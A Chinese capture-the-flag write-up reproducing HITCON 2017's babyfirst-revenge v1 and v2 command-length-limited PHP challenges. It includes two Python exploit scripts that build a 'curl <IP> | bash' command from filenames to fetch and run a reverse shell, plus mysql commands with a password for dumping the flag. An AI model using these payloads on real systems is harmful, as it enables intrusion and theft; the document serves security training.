HITCON-2017-babyfirst-revenge-v1&v2 复现

i春秋CTF训练营 HITCON CTF 2017 的Web题 babyfirst-revenge 和 babyfirst-revenge v2 复现。

1. babyfirst-revenge

1.1 题目代码

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

题目使用sandbox给每个访问题目的用户提供了一个单独的环境,能执行长度小于等于5的命令,看起来目的就是getshell

1.2 题解

在本题中,执行命令的长度被限制到了5个字符,直接执行命令也没有回显,因此得想办法写一个php马或者反弹一个shell出来。

Linux的Trick:

  1. 命令能够使用\来换行续写。
  2. 文件中当前命令错误不会影响后续命令的执行。

如图所示:

1

第3行asd并不是一个命令,脚本虽然报错了,但后面的echo语句还是正常执行了,而且在第4行末尾,添加了一个\,脚本自动将其与第5行连接,并且执行了echo "Go on"命令。

因此有了一个思路,将所要执行的命令分解成片段并作为文件名,在命令片段末尾添加\最后使用ls>x将其输出到文件x中。

2

如图所示,date命令成功执行了。

但是还有一个问题,我们都知道,ls的命令结果默认是以字典序进行排序的,到最后很难构造出要执行的命令,不过ls有个-t参数,来将文件基于时间排序,越晚创建的,越排在前面。

-t sort by modification time, newest first

因此我们可以构造命令ls -t>b。这样就能按照时间顺序将命令存储到文件中。接下来构造这个命令。

该命令长7个字符,分割命令,每次执行命令的最大长度是5,除去>\,最多一部分3个字符。

3

可以看到,通过两次ls拼接,第4-7行组成了命令ls -t>b

接下来就是相同的套路,来构造一个curl请求,将VPS上的存有命令的文件下载下来,然后执行即可。

1.3 执行脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time
url = "http://117.50.3.97:8001/index.php"

payload = [
">-t\\", # ls -t>b
">\>b",
">l\\",
">s\ \\",
"ls>a",
"ls>>a",
">bash", # Download Payload
">8\|\\",
">15\\",
">31.\\",
">99.\\",
">9.1\\",
">13\\",
">\ \\",
">rl\\",
">cu\\",
"sh a",
"sh b",
]
r = requests.get(url+"?reset=1")
for i in payload:
print i
time.sleep(0.5)
r = requests.get(url + "?cmd=" + i)

在VPS上放个bash反弹shell的命令,然后直接在VPS上监听对应的端口,脚本执行完毕后即可获得shell。

4

home目录中,找到fl4444g目录,在README文档中,找到提示,flag在数据库中。

在shell中,不能直接使用mysql连接数据库进行交互,可以使用-e参数来执行SQL语句。来一个三连XD

1
2
3
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "show databases;" > database.txt
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "use fl4gdb;show tables;" > 1.txt
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "use fl4gdb;select * from this_is_the_fl4g;" > 2.txt

5

2. babyfirst-revengev2

2.1 题目代码

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

与第一个题目的差别不大,就是命令执行的字符长度更短了,最大长度变成了4个字符。

2.2 题解

与第一题思路类似,得想办法构造ls -t>b命令。但是第一题中使用了ls>>a命令,在这个题中就不能用了。

这里需要linux的另一个小tricks。

在linux的shell中,我们一般使用*作为通配符使用。如图所示:

6

在目录中单独一个*,linux会把当前目录下的所有文件名按照字典序排序,然后作为命令执行,图中就成功执行了命令echo zxc

因为字符限制为4,ls>>?命令不能使用了,可以使用rev命令进行逆序。ls -t>g这个命令逆序也不能实现,因为t在字典序中是比s大。如果是逆序的话,需要一个比s小的字母。在ls中有个参数-h,它与-l一起使用,使输出更加具有可读性。与其他参数一起则没有影响。因此可以构造ls -th>g

-h, –human-readable
​ with -l, print sizes in human readable format (e.g., 1K 234M 2G)

7

而且在一般linux系统中,ls命令一般有一个别名dir

1
2
3
4
>dir
>sl
>g\>
>ht-

这样执行的话,直接执行一个*,相当于执行dir g> ht- sl

8

再想办法将其逆序就好了,使用rev命令

1
2
3
>v
>rev
*v>x

当目录中存在revv两个文件时,使用*v相当于rev v,也就是对v的内容进行逆序。然后>x将内容输出到x文件中。

9

由此成功构造出命令ls -th>g命令。后面的curl VPS上的命令就与第一题没什么区别了,IP也可以转换成10进制来绕过.的限制。

2.3 执行脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time
url = "http://117.50.3.97:8002/index.php"

payload = [
">dir",
">sl",
">g\>",
">ht-",
"*>v",
">rev",
"*v>x", # ls -th>g
">sh",
">ba\\",
">\|\\",
">32\\",
">1\\",
">9.\\",
">2\\",
">8.\\",
">16\\",
">4.\\",
">10\\",
">\ \\",
">rl\\",
">cu\\",
"sh x",
"sh g"
]
r = requests.get(url+"?reset=1")
for i in payload:
print i
time.sleep(0.5)
r = requests.get(url + "?cmd=" + i)

拿shell找flag就不再赘述了。